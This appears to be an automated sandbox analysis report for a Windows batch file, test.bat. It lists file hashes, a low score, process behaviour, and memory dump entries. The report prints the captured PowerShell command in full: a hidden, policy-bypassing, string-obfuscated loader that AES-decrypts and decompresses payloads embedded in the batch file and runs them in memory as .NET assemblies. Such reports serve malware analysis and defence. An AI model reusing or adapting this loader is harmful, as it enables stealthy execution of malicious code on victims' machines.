930b3773e732802cf74422e6d9d3fcc1566ddfef2128da051c443a40af034c87

Resubmissions

21/04/2024, 01:48

240421-b75ccsgb9x 1

21/04/2024, 01:45

240421-b6nm8agb6z 1

Analysis

max time kernel
32s
max time network
18s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
21/04/2024, 01:45

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General

Target

test.bat
Size

268KB
MD5

e6eec329c32f1bf1ba285c807bdaffb0
SHA1

20e3d8fef3adedd37668ca788639bc966027cff1
SHA256

930b3773e732802cf74422e6d9d3fcc1566ddfef2128da051c443a40af034c87
SHA512

87990393433bcd2fd75fc2edbe53611c52c93206a84b7f65d1f87ae1e17f80e5168482af89d3bca1048cff3983b31e3d9d7d3247fc07a1c929fccd6ee6e7dfd4
SSDEEP

3072:7GGNSWszdUZssGdbYxjxGZcYwTM14zCRIvlWPuUCEeTLiP+Xv1XQkwzpB0R0JNxH:64SWsVxbvcYAVamUMnxQkwzbM0bHRYle

Score

1^/10

Malware Config

Signatures

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2536	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 2948	1524	cmd.exe	29
PID 1524 wrote to memory of 2948	1524	cmd.exe	29
PID 1524 wrote to memory of 2948	1524	cmd.exe	29
PID 2948 wrote to memory of 2496	2948	net.exe	30
PID 2948 wrote to memory of 2496	2948	net.exe	30
PID 2948 wrote to memory of 2496	2948	net.exe	30
PID 1524 wrote to memory of 2536	1524	cmd.exe	31
PID 1524 wrote to memory of 2536	1524	cmd.exe	31
PID 1524 wrote to memory of 2536	1524	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9PqzSgGfzbfKcnvutnT5mKYiHeTYi9lIqU8dajeIrFM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Fh4h+xeZ38fV8B4MJvG/IQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fhjLQ=New-Object System.IO.MemoryStream(,$param_var); $RlKtN=New-Object System.IO.MemoryStream; $mgqdF=New-Object System.IO.Compression.GZipStream($fhjLQ, [IO.Compression.CompressionMode]::Decompress); $mgqdF.CopyTo($RlKtN); $mgqdF.Dispose(); $fhjLQ.Dispose(); $RlKtN.Dispose(); $RlKtN.ToArray();}function execute_function($param_var,$param2_var){ $MGPKv=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QWwXU=$MGPKv.EntryPoint; $QWwXU.Invoke($null, $param2_var);}$Dxsjd = '';$host.UI.RawUI.WindowTitle = $Dxsjd;$YlOla=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Dxsjd).Split([Environment]::NewLine);foreach ($GSRxr in $YlOla) { if ($GSRxr.StartsWith(':: ')) { $YyOfU=$GSRxr.Substring(3); break; }}$payloads_var=[string[]]$YyOfU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2536

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2536-4-0x000000001B490000-0x000000001B772000-memory.dmp

Filesize
2.9MB

Download
memory/2536-5-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2536-7-0x0000000002290000-0x0000000002310000-memory.dmp

Filesize
512KB

Download
memory/2536-6-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-8-0x0000000002290000-0x0000000002310000-memory.dmp

Filesize
512KB

Download
memory/2536-9-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

Filesize
9.6MB

Download